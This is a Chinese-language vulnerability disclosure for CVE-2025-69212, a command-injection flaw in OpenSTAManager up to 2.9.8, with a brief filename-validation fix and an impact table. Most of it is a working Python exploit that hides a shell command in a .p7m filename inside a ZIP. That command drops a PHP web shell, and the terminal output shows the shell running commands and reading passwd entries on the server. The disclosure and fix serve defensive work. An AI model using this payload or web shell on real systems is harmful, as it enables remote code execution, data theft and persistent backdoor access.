| 数据 | 详情 |
|---|---|
| CVE 编号 | CVE-2025-69212 |
| 漏洞评分 | 严重 (9.4) |
| CWE | 78:OS 命令中特殊元素未正确中和(Improper Neutralization of Special Elements used in an OS Command) |
| 受影响版本 | OpenSTAManager <= 2.9.8 |
| 攻击向量 | 上传包含恶意文件名 .p7m 文件的 ZIP 压缩包 |
| 认证 | 必需 |
| 影响 | 在服务器上执行任意系统命令 |
import zipfile
import time
print("Creating zip file...")
time.sleep(1)
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_file, b"")
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
执行命令后 XML 解析失败
HTTP/1.1 500 Internal Server Error
"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"
www-data
lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'
root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin
一个简单的修复方法是在处理前验证文件名(只允许字母数字、点、短划线和下划线,以跳过无效文件名)
foreach ($files_xml as $xml) {
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue;
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
(或者你也可以直接更新,lol)
| 攻击 | 详情 |
|---|
| 远程代码执行 | 通过命令执行实现服务器完全失陷 |
| 数据泄露 | 可访问所有应用数据和数据库 |
| 权限提升 | 如果 Web 服务器以高权限运行或存在漏洞,则可能实现权限提升 |
| 持久化 | 安装后门并长期维持访问权限 |
| 横向移动 | 转向网络中的其他系统/用户 |